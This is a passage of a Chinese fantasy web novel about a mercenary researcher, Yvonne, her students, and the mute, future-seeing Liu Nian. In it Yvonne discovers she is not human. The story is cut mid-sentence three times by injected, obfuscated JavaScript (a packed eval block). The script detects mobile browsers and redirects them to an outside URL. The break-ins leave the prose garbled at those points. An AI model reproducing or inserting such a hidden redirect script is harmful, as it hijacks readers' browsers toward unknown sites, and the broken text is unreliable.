吃完饭,伊冯一行人去空港把飞行器开进追龙的停机场。选拔还有最后半天,已经通过的三人到进行外勤选拔的广场楼上看热闹。 大部分佣兵都是野路子,选拔的规则也粗糙,完全不具备观赏性,伊冯兴趣不大。但她的两个学生爱看热闹,人生地不熟的,总不能放着她俩不管。 本只是想陪她们满足好奇心,伊冯突然在下方看到个意料之外的熟人。 对方若有所感的抬头与她视线相对,露出卷曲黑发下的漆黑瞳仁。 是刘念。 可别和她说,这位也要找追龙转移传言造成的压力。 下午她们停好飞行器后,第一时间就带着行李去找分给她们的宿舍。每人都有一个带卫浴的单间,单间面积不超二十平方米,但足够满足日常起居。基地里有活动中心,大多成员只把宿舍当睡觉的地方,自然不必留出太多空间。 安琪儿和R对宿舍的条件非常满意,她们三个人的房间相邻,就算分开住,有事想找彼此也方便得很。 收拾行李时俩人已经对宿舍条件感叹过,因而到了晚上的休息时间,伊冯很快就把她们打发进去洗漱睡觉了。 伊冯自己没有回房间,她站在走廊,靠在窗边看着无甚可观的夜景。 沉默的人影子一样停在她身边。 伊冯问:“你为什么来追龙,当间谍?” 刘念摇头。 伊冯翻了个白眼:“这次有纸条吗?你不能用终端打字吗?” 刘念还真掏出一张纸递给伊冯,纸上还压着个小指长、长条形的东西。 伊冯从刘念手里把两样东西接过,捏着条状物观察外形。 正反面是透明的,四周围着金边,金边上刻有密集的图纹,刻纹填了黑色;中间的透明部分,有黑色的液体流入,以肉眼难以分辨的速度缓慢地填充空余的部分。 伊冯更换角度看流入液体的一端,收集器吗,做得挺精巧的,刘念给她这个做什么? 伊冯打开字条:只有墨盒填满,我才能开口。书写和打字,与说话受同样的限制。当墨盒填满,每次表达都会消耗墨;视传达的信息量不同,会消耗不同量的墨。 和上次一样,字条在她看完后便消散无踪。 伊冯再度打量被刘念称为“墨盒”的条状物,里面黑色液体已经填了三分之二,看这速度,他还得等几天才能出声。 伊冯问:“如果你在‘墨盒’满之前强行传达信息,会怎么样?” 刘念听到她这个问题,面色难看地偏开头。 看来不是个方便回答的问题,伊冯正想换个问题,却见刘念张开口,从喉咙挤出细微且嘶哑的声音。 刘念说:“世界,注视着,你。” 说出这六个字,刘念的七窍突然涌出黑水,黑水碰到别的物体又化为黑雾,黑雾升腾将人裹入。 伊冯吓了一跳,担心这动静会被人注意到,赶紧打开房门把刘念拉进去。 抓着刘念胳膊的手感像抓住淋了水的沙雕,有形状但用力就散了,伊冯把人带进门内立刻松了手,看着刘念痛苦地紧闭双眼、顺着墙壁瘫坐在地上。 这也太夸张了,为什么刘念受到这种限制,谁制定的规则,通过什么监督运行?刘念清楚规则,为什么要违规回应她的话,为了证明自己没说谎? 伊冯张开手看着掌心里的“墨盒”,里面的“墨水”少了一半。 刘念的身体终于不再涌出黑水,黑雾又顺着七窍钻入体内。 在围绕着刘念的黑雾慢慢稀薄后,伊冯发现刘念变了张脸。 当黑雾全都回到刘念体内,刘念才疲惫地发出叹息,睁开眼睛。 伊冯见过刘念的这张脸,在索莱伊的那次星内跳跃导致的穿越、在她似乎去到未来的梦中,那个两度对她的存在提问的黑衣少年。 伊冯有太多问题想问,墨盒内现在只剩三分之一的黑水,要等它装满实在考验她的耐性。 伊冯问:“你的‘墨盒’有备用的吗,如果我弄坏这个,你有替换的吗?” 刘念摇头。 伊冯蹲在刘念面前,又问:“在墨盒填满之前,我像这样向你提问,你用点头摇头帮我确认答案,不算违规,对吗?” 刘念点头,接着又摇摇头。 这是什么意思? 伊冯回想着刘念之前给她的纸条的内容,问:“你给我的纸条上说‘墨水’的消耗与传达的信息量相关。限制你表达的规则,实际是在限制你传达某些特定信息,在墨盒未满前,涉及那些信息的内容,不能做任何形式的表达和确认,是吗?” 刘念没有点头或摇头,只是直直地看着她,漆黑的瞳仁发亮。 看来是了。也就是说,只有不涉及某些特定信息,刘念才可以做出回应。 问题是,这个范围是什么。与这个限制相关的问题恐怕都不能在墨盒未满时问了,刘念之前强行说出的话中提到“世界”,这显然是很关键的要素,相关问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伊冯沾取唾液时往刘念喉咙深处多看了眼,漆黑一团,她拿灯往里照,刘念的体内甚至黑得不折射光。 伊冯边掰着她的嘴巴边问:“你的身体结构是怎么回事?这不会也是‘限制’导致的吧?” 刘念撇开头捂住嘴,用动作抗议伊冯粗暴的动作。 “哦,抱歉。”伊冯收好唾液样本,接着拿采血管给刘念取血。 吸出来的是一管黑水。 伊冯看着在采血管内迅速雾化的黑色物质,之前采集的样本也都在采样管里化成黑雾。 要达成什么条件才会产生这种变化啊…… 她把采样管放入解析仪,仪器突然发出尖锐的声音,伊冯赶紧拔出采样管,解析仪仍在报错。 伊冯拆开解析仪,发现靠近采样接口的部位已经焦黑,许多内件损毁。 她转头看向竭力回避她视线的刘念,问:“你知道你的黑雾会腐蚀我的设备?” 刘念缓慢地点头,而后迅速地点开终端转账界面,让伊冯输数字。 伊冯盯着刘念紧张的样子看了会儿,滑动刘念的终端界面查看她的账户余额。 七千万。 伊冯从刘念账户上转了单笔转账上限的两百万,见对方眼都没眨,更觉得奇怪。 “不缺钱,又是鬼兵的,你究竟有什么理由要装成独行佣兵,又跑来追龙?”伊冯摇晃着手里的采样管,“为了我?” 刘念点头。 伊冯沉默片刻,问:“我之前问你对我示好的理由,你也受限制不能回答——我能不能理解为,你不是自愿接近我?你想从我身上获取某种东西?” 刘念动作僵硬地点了两次头。 伊冯轻笑一声,见刘念抖了个激灵更笑得大声,她站起来、把刘念也从地上拉起。 伊冯说:“既然是各有所求,那我之后也不会客气。现在交流效率太低,等你的墨盒满了,我要你清清楚楚地,告诉我这些问题的答案。” 刘念终于没有回避她的眼睛,认真地看着她,点头承诺。 47.非人 追龙的基地按功能划分区域,就算伊冯等人还没正式加入、没有地图,要找地方也不难。 追龙的训练场一大早就被自主训练的人占满,为了抢设备用,往往还要先切磋一番,于是又有些无事的闲人来围观。 伊冯早上就来训练场看过,嫌人多,吃了饭过去,发现人更多了。 她拍拍R的手臂,指着太空模拟室的方向,人群前方正有两个为谁先使用设备对峙的。她说:“去占个位置。” 在太空模拟室前排队等设备空闲的人大都是中等体型,R一走过去就鹤立鸡群。她径直穿过所有人,把将要打起来的俩人一手一个推开。 本以为她只是多事来劝架的,看她站在门口没有挪开的意思,被她推开的两个都被她气笑了。 其中一个扎着橙色发带的说:“嘿,新人,你走错地方了,这里是模拟真空对战的。” “没走错,她就是来这的。”伊冯刚才跟在R身后过来的,她探头往正待机的模拟室内望了眼,“这个机型有双人对战模式,你和她来一场如何,看看她是不是走错了?” 橙发带只当听笑话:“这里可没有她能穿的设备。” “用不着。”伊冯在R的背上轻拍,R走入模拟室内,按伊冯事先教的方法启动机器。 “等等!会出事的!” 人体暴露在真空环境下必死无疑,周围的人见R竟然什么防护都不做地启动机器,都急着冲过来要按下设置在外的紧急停机钮。 “她没事。”伊冯在机器启动后单向透明的电控观察玻璃上敲敲,让她们冷静。 通过观察玻璃,能看到在模拟器制造出的昏黑太空环境中,失重漂浮的大个子女性面不改色,胸膛还在如常起伏。 常用模拟室的追龙成员们都傻眼了,看着里面的人适应了失重后挥臂抬腿,自在地活动身体。 时间一分一秒过去,真空环境依然不见对她造成任何影响。 伊冯伸手在橙发带眼前晃晃引她回神,说:“现在你有兴趣和她对一局吗?” 橙发带“哈”地笑了声,说:“来啊。” 模拟器外有个交流器,可以和内部的人对话,伊冯让R关闭机器,把门打开。 橙发带穿起模拟室门旁的一套太空作战服,走入室内。 门再度紧闭密封,室内光线变暗,两个人不被重力牵引,离地漂浮。 作战服的推进器让橙发带很快稳住身体,目标明确地冲向对手。 而没有配置任何武器设备的R竟也马上跟着对方调整好方向,反应极快地绕背、绞住橙发带的双手、箍住她的头部,让她上身无法动弹。橙发带的双腿试图缠上R,都被轻易躲开,接着双腿也被R单腿绞住,彻底丧失行动能力。 除了伊冯,所有人又为这眨眼间便决出胜负的对决惊讶。太空作战服再如何弥补环境造成的影响,也难以让人拥有在正常环境下的灵活,但这个仅凭肉身就能在模拟环境中行动的大个子,竟然还能发挥出迅速制敌的行动力、压制增力机械的力量。而且,她不只是单靠蛮力,仔细观察,能看出她将对手控制在不能触发任何武器的姿势,显然很熟悉作战服的结构。 被这里的动静引来的柯查尔已经在一边看了有一会儿,她走到伊冯身边,问:“虽然看起来是肉身,但她身上应该有不少改装的地方吧?” 伊冯没有隐瞒,颇有些自得:“能看到的部位,都是。我说了,你会知道她有多合适。” 体型壮硕、肌肉发达的不适合太空作战,是针对肉身而言。对于全机械身体,R这样的大体型,在太空单兵作战中具备碾压级的优势。 柯查尔也意识到R这样的战士在实战中意味着什么,激动地握住伊冯的手,声音发颤:“我要定你们了!” 伊冯抽出手:“不就是你把我们提前录取的。” “是啊,我都要佩服我的远见卓识了!我太有眼光了!”柯查尔半点不在意形象地又抱住从模拟室里出来的R,摸着R的手臂啧啧称奇。 R无措地看向伊冯,伊冯面无表情,做了个“扇”的手势。 训练场的小混乱以某人的痛呼声告终。 伊冯三人和刘念都被柯查尔成功调到自己队里,之后一段时间柯查尔闲暇时间不太出门,按她自己的说法这叫“太高调了不好,得给别队的姐妹留空间伤心”。 追龙能被民间评为“三大佣兵团”之一,并成为默认的“三大之首”,除了规模大、成员各方面水准高,最重要的当然就是委托完成率高。一年到头,追龙从来不缺任务委托。 R和刘念是出勤作战人员,因为委托多,被编入小队出任务后,一个月难得能回来几趟。这两个话少的,每次回来都要在伊冯身边杵会儿。 “黄琳也就算了,那个黑乎乎的人怎么也来黏老师?”进追龙后,安琪儿私下聊天也都叫R的假名。 她对于陌生人总是先警惕防备,对于陌生又亲近自己老师的人,更是友善不起来。 伊冯想到刘念被自己打发走时的表情,笑道:“可能是因为我在药研部,不用出基地,只有她要出去面对那些蓝金的传闻,觉得不平衡吧。” 刘念之前在她面前露了真容,要再变为男性外表似乎也需要些条件,连着几天蒙面穿着宽松遮体型的衣服,在基地里时少在人前露面,自然也不方便去找伊冯。终于又变成伪装的样子后,就开始把出任务以外的时间都用在伊冯身上。 传闻里两个私藏蓝金的佣兵,在同一天加入了追龙,现在外面已经定论那些蓝金都被她们送给追龙,少不了拿袭击队友、重利忘义之类的话当幌子辱骂挑事的。尤其刘念之前放话只会加入有比她强的人的队伍,对她的态度不满的人很多,加入追龙,就等于说之前邀请过她的团队不如追龙。追龙虽然确实是个强大的佣兵团,但不服它三大名头的也大有人在。 三大另外两个佣兵团,“怪物”和“鬼兵”走的是和追龙完全不同的路子,低调、踪迹难寻,不公开接受任务委托,见到这俩团成员的踪迹都能算新闻——事实上,这俩能有“三大”的名头,并被别的佣兵服气,最大原因就是因为她们低调,不会和别的佣兵团抢生意。只要能获利,口头上给按个好听的名头多划算。 所以,委托众多、频繁出现在公众视野中的追龙,自然被别的佣兵团恨得牙痒,想把它三大的帽子摘了:怎么就它名利皆收的? 偏偏追龙的人干事规矩,官方都看她们顺眼,别的佣兵团更难找理由为难。 如今追龙好不容易有了“污点”,自然被揪着不放。 连R都在完成任务的间隙,发觉了刘念被频繁打扰。虽然刘念完成分内事项的速度不输别的队员,但别人旁观她总要半路出去打一架再回来继续,也为她心累。 安琪儿半点不同情:“出外勤的不就是要打架,又不是我们替他招摇得罪人的。” 伊冯也幸灾乐祸,刘念找她的时候没提蓝金的事,她还以为这事完全没对刘念造成影响,自己在内网发的帖子是在做无用功呢。 R见这两人的反应,便也不把这当回事了,低头把饭吃完。 吃完饭,伊冯和安琪儿准备回研究室,R还跟在她们身后。 伊冯确认了时间,说:“你先回宿舍睡觉倒时差,我会去叫你起床吃晚饭。你们这次要休两天再走,时间还多。” R这才转身往宿舍的方向走。 “还以为她跟着出去几次能长大点呢。”安琪儿笑。 伊冯说:“时间久了她总会习惯的。” 追龙的地盘没宽敞到能给每个研究员分配独立研究室,同分队的成员共用同一个研究室,设备也是共用,只有样本柜有个人专用的。 共用的空间难免会有摩擦,小的有走动时的肢体磕碰、观察实验反应时对别人发出的任何细小声音都敏感;大的有使用设备时间太长、互相指责用完设备没有归位。 最让伊冯两人不习惯的,还是作为团队的研究员,她们每天要优先完成队里交代的任务,研究室不是全天开放,她们几乎没时间做自己的研究。 伊冯抓着最后的时间给自己抽了一管血,把血样放入样本柜,明天再来做检测。在医疗舱里泡了两个月,她的身体被修补到可以经受更换内脏手术的强度,现在她需要为自己做更换的人造器官,只是还在犹豫是用自己的细胞克隆,还是干脆做一套机械器官。在追龙的研究室,她要完成任何一样都要花费极长时间。虽然她相信,只要她向柯查尔提出她需要做更换器官的手术,追龙会为她安排好,但她想自己给自己做手术,也不想自己的细胞数据被外人知晓。 第二天,伊冯因为帮R安排休息日计划,晚了半小时离开宿舍,刚到研究室门口就听见安琪儿和人争吵的声音。 她听了几句,听明白是有人用了她们的样本柜,立刻进去帮安琪儿吵架。论了两句,伊冯发现是她放自己血样的样本柜被用了,更加火大,两边越吵越凶,当即就到研究室外打了一场。 研究员不比外勤部那些打架当寒暄的,个个都是团里的宝贝,因而这边的动静很快就把研究楼的总管引来了,接着柯查尔被叫来管好队里的人。 柯查尔调停两边,让乱用样本柜的跟伊冯她们道歉,但是按团规,双方都要就非切磋性质的私斗受罚。 惩罚是顶着“团结友爱禁止私斗”的牌子在研究楼门口罚站半小时。 安琪儿一开始还羞得浑身发红,结果伊冯浑不在意,和她讨论起今天要做的药怎么提高提取效率,她被转移注意力,很快也觉得这没什么。 占用了伊冯样本柜的下垂眼研究员忽然开口:“这次确实是我做得不对。” 伊冯说:“你已经道过歉了。” 下垂眼说:“这次是真心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709570|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 伊冯说:“哦。” 她态度平淡,下垂眼见她不问理由,又说:“我打赌,你还没记住我的名字。” 伊冯转头看她,对她这话感到奇怪。 下垂眼见站对面的俩人表情毫不心虚,果然她们确实谁都没记自己的名字,又气又无奈地说:“你们是新来的,却斤斤计较,态度又傲,我们当然怀疑你们有没有把我们当队友。” 下垂眼拍拍她举的牌子,说:“你们不把惩罚放心上,又会把哪条团规放心上?” 安琪儿嗅出她话里有话,还未想通,伊冯已经先一步拉住她的手。 伊冯继续和安琪儿讨论之前的话题,安琪儿被带走思绪,没有再往下想。 下垂眼不继续和她们搭话,等着惩罚时间结束。 下垂眼的意思很简单,新成员加入集体,必然会有摩擦,重要的是彼此磨合,在争吵中确定退让的尺度。问题是争论这么多次,伊冯和安琪儿始终寸步不让,完全没担忧过不友好的态度会不会让自己难以融入集体。之前和她们争,心中有气,是因为预设了彼此是将来朝夕相处的同伴,越早把架吵完越好;按规定惩罚她们,也是为了让她们明确彼此是同伴,应该对私斗的行为感到羞耻。 但从伊冯的态度上看不到对这些有一丝一毫的在乎,不在乎惩罚,不在乎团规,又怎么会在乎这个团和其中的人。下垂眼道歉,是因为对外人理应客气。 而伊冯也知道,下垂眼在这时候说出这些话,不是真心想划清界限,是提醒她们改变态度,免得真落到被排挤的下场。 回到研究室,几人原来如何现在照样,只当什么都没发生过。 下垂眼把放在伊冯柜子里的样本拿走,放进另一个给她腾出位置的研究员那里。 伊冯也将自己的血样拿出观测。 她将眼睛从观测镜前挪开,拿起采样管,反复确认上面自己手写记号的标签。这确实是她装血样的采样管,但里面的不是她的血。观测镜下这鲜红的液体完全不是人类血液的解构,这是一管药材溶液。 伊冯收好这份样本,转头去找下垂眼要她拿走的那管样本。 下垂眼不可思议地看着她:“原料我们每人都有一份,你要我做的提取液做什么?” 伊冯退一步,让下垂眼给她在观测镜下看看那份样本。 见对方还是疑惑且不愿意,伊冯看了眼下垂眼的工作台,在她开了十几个窗口的演算屏上圈出一个关键成分,在旁边写了一条公式。 “这样算出的结果会更精确。”见下垂眼看明白了后瞪大眼睛,伊冯说,“作为帮忙的回报,可以让我看你的样本吗?” 伊冯如愿看到了那份样本,和她血液采样管里的液体结构完全一致。 “你是什么时候把它放进我的柜子里的?具体到分钟。” 下垂眼在她郑重的态度下也不由认真回答,说:“是响休息铃的时候,二十八点,前后应该没超出半分钟。” 伊冯回到自己的位置,每个人有两个样本柜,她来不久,一个柜子都没填满,血样一直被她单独放在空柜里。以前有自己的研究室时,她习惯分项分类放置样本,自己的身体样本从来都是单独保存。 她照常完成今天的工作,然后取一管新鲜的血样,将一份多余的绿色药剂一起放入样本柜中。顺带安上她临时做的柜锁。 次日,伊冯打开样本柜,看到两支采样管内装着同样色泽的绿色液体。 为了确认,她查看了两份样本的结构,和昨天她提取药剂后记录的一致。她的血样,一夜之间再无半分人类血液的痕迹。 “安雅,”伊冯向安琪儿交代说,“我不舒服,要回宿舍休息,吃饭不用叫我。” 她把做了血样标记的采样管塞进口袋,搪塞了安琪儿的关心,匆匆赶回自己的房间。 才将房门反锁,伊冯便有些脱力地顺着门滑坐在地,胸膛剧烈起伏,呼吸急促却仍未摄取充足的氧气,不知是缺氧还是兴奋,她头晕目眩,眼中所见的一切都在变形。 这已经不是什么特殊体质能解释的情况了,她身上的异常太多,她早该发觉。刘念的采样虽然异常,但她还以为那不是刘念的身体,是某种特殊技术制造出的替身,怎么会有人的身体能化成黑雾呢? 伊冯手脚并用地爬起,从放在床边的行李中翻出一瓶喷雾。她跌跌撞撞地走进浴室,将自己架在镜前,脱去所有衣物,用喷雾卸下脸上的面具。 看着镜中自己的“真容”,伊冯想,她的血液如此奇特,身体别的部位难道会平凡无奇吗? 她盯着镜中人,直到眼眶溶化,鼻梁塌陷,下颌失去线条,躯干就如她在内网成为“幽灵”时那样被她的意志随意揉捏,自由伸出更多的“手脚”。她扬起嘴角微笑,弧度一直延伸到还没移位的眼珠旁。 原来她不是人类啊。 48.殊途 “老师还没回我。”安琪儿握着终端,虽然伊冯说了不用叫她吃饭,但都过了吃晚饭的时间,发去的消息还没得到回复,实在让人担心。 安琪儿和R商量半天,谁也没个主意。之前伊冯在医疗舱里泡了两个月,都以为她已经好了,今天突然说不舒服把自己关房间里,她们猜是旧伤复发。让她们老师这么久都没解决的伤病,肯定很麻烦。 她们的老师一向有问题自己解决,不喜欢别人插手,在栖止时,几次弄伤自己也不让怪医上手——尽管有怪医下手重的因素,而伊冯的医术也足够她自信用不着别人帮手。所以这两个担心了一天,也没想着去找追龙医疗部的医生。 俩人趴在伊冯房门上听了好一会儿,抱怨追龙建房用的材料太好,房间隔音也太好,里面有什么动静都听不到。 安琪儿大着胆子按门铃,依然没有回应。 R说:“我把门撞开吧,我怕老师有事。” 安琪儿点头:“不管了,大不了被骂一顿,先见到老师再说!” R正蓄力,安琪儿的终端突然响了声,她赶紧抓住R,打开消息查看。 是她们老师的回复,说她只是有点累,睡了一天已经没事了。 俩人松了口气,安琪儿问伊冯要不要吃东西,她去买来。 伊冯让她们去食堂帮她点饭,她一会儿就过去。 有胃口就说明问题确实不大,二人终于放心,连忙往食堂去:得在老师到前让饭菜上桌,饿了一天,不能让她多等! 伊冯的房间里,刚回复了安琪儿消息的终端手环却没戴在人手上,被地上一滩没有形状的红色液态物体包裹着。红水慢慢地汇聚,从手环中穿过,凝固出形状,从手指到脑袋,从躯干到四肢,无形的手将它捏出人的轮廓;五官在脑袋上浮起,确定了正反面,后脑涌出细流,到耳上凝固成丝。红色褪去,各部位都变色为它在人体上应有的颜色。 伊冯疲惫地睁开眼,空洞无物的眼眶内慢慢被白色填补,再在中心圈一块蓝。 在变形时,伊冯将眼珠也融进溶化的身体,却未随之失去视觉,视野反而前所未有地扩大。所有的一切在她所见中都截然不同,事物失去了勾勒它们的形状,声音和气味有了颜色;建筑阻挡不了她的视线,她看见行走的火焰,看见庭院里飞舞的光粒,看见天空被飞速旋转的未知图符填满。 她似乎在哪见过类似那些图符的东西……在多年前的一场梦里,那个黑衣女人脖子上画着的黑纹,有着类似的形状;刘念的墨盒上刻着的图纹,也能在天空中找到相似的符号。 或许是因为她现在的状态不同,她莫名理解了那些图符的意义。 那些是世界的规则。星体运转的轨道,大气层围绕星球的弧度,风在天地间流动的方式,树的枝桠伸展出的形状,花瓣绽开前染上的颜色……一切的一切,都在那些图符中。 在看到更多前,她因为体力不支失去意识,直到清醒,还为接收了大量新鲜信息而头昏。 她研究得太兴奋变得太多,没注意能量消耗,把自己弄得像史莱姆后昏了过去,瘫了两小时才恢复些体力变回人样。还好及时醒来,不然真不知道要怎么跟那两人解释。 现在她基本掌握了身体的变化技巧,也想明白了为什么在那个丧尸世界她的身体会停止恶化。 她不是人类,蓝金会对人体造成的损伤实际都没对她起效,可她理论知识掌握得太好,清楚会有什么后果,于是她的身体自行拟态模仿出应有的伤病状态;但再如何拟态,就算进入假死状态也不会真死,所以她的身体状况如何“恶化”,也达不到完全坏死的程度。 她足够了解人体构造,要为自己重塑一具健康强壮的身体完全不是问题。感受着除了饥饿疲累没有任何负面状态的身体,伊冯满足地躺在地上微笑。她重塑的面容是利比逖的脸,以后不用再为面具损耗费心,如果想换身份,也不用挑选和原来相近的长相,实在方便。 虽然此前对于自己身体的研究几乎都要推翻重来,但她只为之后全新的研究方向喜悦。 她抬起手臂,终端上除了她的定影,还挂上了刘念的墨盒。早上墨盒还差十分之一的“墨水”,现在已经全满了。正好,该让刘念为她解答这些问题了。 伊冯慢慢地爬起来,对着镜子确认外表没有异常的地方,穿好衣物出门。 刘念正站在门外,见她出来,递给她一个鎏金嵌宝的霁蓝色小瓶。和小瓶一起递过来的还有张纸条。 纸条上写着:这个能填补你需要的能量,比普通的食物效率更高。 这段时间墨盒里的墨水没有减少,这张纸条早在刘念把墨盒给她之前就写好了。 刘念的神色中没有一丝困惑,似乎清楚她在房间里都发生了什么。她笃定自己会有需要这瓶东西的时候。 伊冯接过瓶子,拔掉镶着蓝色宝石的瓶塞,里面是一些蓝黑的药粒。她闻到香甜的味道,让她从未如此地渴望进食,倒出一粒吞下,饥饿疲乏的感受便了无痕迹。她还想再吃几个,但既然身体的需求已不急迫,她便抑制住,留下它们以检查成分。 伊冯把瓶子放进口袋,对刘念道谢。 伊冯问:“你看到过未来吗?” 就算刘念掌握着更多信息,她每次拿出的纸条总是应对得太好。她曾到过未来,和未来的刘念接触——那么刘念呢,是因为看过类似的场景才总能提前猜中她吗? 刘念轻微地睁大了眼睛,瞳孔颤动着,五官僵硬地挤出似笑非笑的奇怪表情。过了好一会儿,她才轻声回答说:“对,我能看到。” 她这句回答后,墨盒内少了三分之一的墨水,盒身四周的刻纹变白。看来盒身上刻纹的颜色是用来提示状态的,墨盒未满、刻纹黑色时是填补墨水不能说话;刻纹白色则表示墨盒满过后进入消耗状态、可以说话。伊冯盯着墨盒看了会儿,现在的墨盒不会进行“补充墨水”的动作。边填墨边消耗的行为也会被判违规,真是苛刻。 刘念说的不是“看过”,而是“能看到”,也就是“看到未来”对于她是一种能主动操作的能力。 难怪她会受到禁言的限制。在看到世界的规则之后,她现在立刻理解了刘念受到的限制,限制刘念的是“世界”,“未来”被提前透露的行为,违背了世界运转的规则。 伊冯接着问:“你是人类吗?” 刘念移开视线,这个问题对于她似乎比“预知未来”要难以启齿得多。 但沉默已经足够作为答案。 或许是意识到这时的缄默没有意义,刘念忽然又开口,说:“我是混血。” 伊冯问:“什么的混血?” 刘念说:“精灵和人类。” 伊冯奇异地把刘念上下仔细看一遍,先不说精灵这种梦幻的传说生物居然真实存在,刘念除了长得好看,和各类传说的精灵形象都难以联系。她跟着R看了不少奇幻故事,在她的印象中,精灵应该是闪闪发光更加耀眼的存在,刘念阴郁的气质实在让伊冯无法将这二者想象到一起。 刘念知道伊冯在奇怪什么,说:“现在我体内主导的,并不是那两方。我们要在这里说清一切吗?” 确实,这不是个适合详谈秘密话题的地方。墨盒内的墨水不到三分之二,短时间难以说清所有问题。 于是伊冯同意了暂且不谈,并邀请刘念去吃夜宵。 她说:“剩下的,就等去见你母亲时告诉我吧——顺便问问,我们要去见的是哪边的?” 刘念有发言限制,伊冯想让她的发言尽可能都消耗在只有她能回答的问题上。刘念曾提出可以向她母亲提问,有些事或许问刘念的母亲更方便。 刘念听到伊冯主动提出去和她一起去见母亲,难得地流露出明显的喜意,回答伊冯的声音都有着与答案相称的轻盈:“她是精灵。” 伊冯和刘念到食堂时,安琪儿和R已经把饭菜摆满了桌子。 看到伊冯,安琪儿热切地迎上去,惊讶地盯着伊冯的脑袋。 安琪儿问:“老师怎么把头发剪这么短了?” 伊冯说:“不小心把头发弄脏了,懒得洗,就剪了。” R很高兴:“我和老师的发型一样了!” 安琪儿摸摸自己编起束在脑后的头发,没让这个话题继续,把伊冯拉到桌前,却见刘念在一边没有离开的意思。 安琪儿问:“有事吗?” 伊冯招手让她们都坐下:“我邀请她来的。刚才我们聊了会儿,发现我们的母亲认识,她算是我妹……弟弟。” 刘念皱起眉头,显然对这个称谓有意见,但她不开口反对,伊冯就当她接受了。 安琪儿拉着R坐在伊冯左右,把菜往伊冯面前堆,边看着伊冯吃,边和她说今天做的研究进度。 “黄琳今天都做什么了,也和老师说说吧?”安琪儿冲R使眼色。 R虽然不知道安琪儿为什么眼睛抽抽,但很开心能向伊冯分享,立刻接上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714246|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安琪儿的话眉飞色舞地开始说。 她说得很流水账,没有重点,从起床洗漱开始一样样说,偏她又被伊冯教出了播音员的说话腔调,抑扬顿挫得差点把安琪儿听睡着了。 安琪儿赶紧转移注意力,去看被冷落的刘念,结果对方好像忘了自己是被邀请来的,一个人坐在角落没人搭理还吃得挺自在。 好在邀请人过来的伊冯没照顾的意思,把人带来也不多招呼,只和她们俩交谈。 就算有点什么亲戚关系又怎么样,安琪儿还记得老师之前也笑话过刘念麻烦缠身的状况,老师可不会轻易把人划入自己人范围。 安琪儿在第二天发现自己放心得太早了。 伊冯一大早就去找柯查尔,申请转到外勤部。经过一些测验,她当天就被编入行动小组,下次行动一起出发。 一个会机械懂药理能治疗的战斗员,放在哪里都是宝贝,柯查尔现在恨不得把人捧手心里,对伊冯的要求都尽量满足,而伊冯想和刘念在一个小队的要求完全没有不答应的理由。 “那我呢?”安琪儿在伊冯领了套外勤装备回来后,追到伊冯房间里问她,“只把我一个留在这里吗?” 伊冯收拾着行李,不解地回她:“我们做完任务都会回来,之前R不也一个人在外勤部?” 安琪儿张嘴却半天不知如何反驳,最后就这么看着伊冯掉出几颗眼泪。她发现自己哭了,赶紧低头捂住脸跑出去。 伊冯见人哭了,总算意识到安琪儿的情绪不对劲,追出去,见安琪儿躲回自己房间关紧了门。 她用终端给安琪儿发消息询问情况,安琪儿没有回复。 安琪儿在她身边一直很乖巧,她知道“乖”的人总有天会出现问题,真到出问题了的这天,却不知从何下手。 直到她们出发这天,安琪儿都在刻意躲着她们,不回复伊冯和R任何一人的消息。 R望着研究楼的方向,安琪儿很早就去研究室了,不知道有没有好好吃早餐。一般的外勤人员进不了研究楼,她想让有通行许可的伊冯去看看安琪儿,但是安琪儿躲着伊冯,就算去了可能也见不到,她开不了口拜托,这两个人哪个心情不好都让她很难受。 而且,伊冯主动提出和那个刘念在一队,而不是她,她的心里也有些不开心。 她知道安琪儿为什么生气,连她都知道,为什么老师不明白呢? 伊冯站在舷窗前,问刘念:“你觉得是为什么?” 她们小队的飞船已经出发,飞船上每人有单独的休息间,为了计划去见刘念母亲的行程,伊冯让刘念到她的房间商议。简单做完计划,伊冯分散的注意力不由绕到安琪儿身上。毕竟是花了心思培养的学生,她无法不在意那些眼泪。 她只是随口一问,她又不像刘念需要按轻重缓急规划开口时机,自言自语着没想刘念能回答她这个问题。但这么一个问题,却让她却头回听到对方不遮掩迂回的回答。 “人都希望自己是特殊的,希望你给她的不是人人可得的。以为得到的特殊,不过是一厢情愿的错觉,怎会不怨。爱生忧怖,人之常情。” 刘念说:“你不懂,是因为你不需要去希望,就已经得到了足够的偏爱。你生来特殊,无法想象求而不得的痛苦。” 后几句话情感浓烈得近乎指控。 伊冯确实不懂刘念说的这些,听完依然平静地看着对方。 伊冯问:“听起来加了不少主观想法。忮忌?” 刘念闭了闭眼,叹出一口气,说:“对。” 似乎为自己说出的话后悔,刘念起身要走。 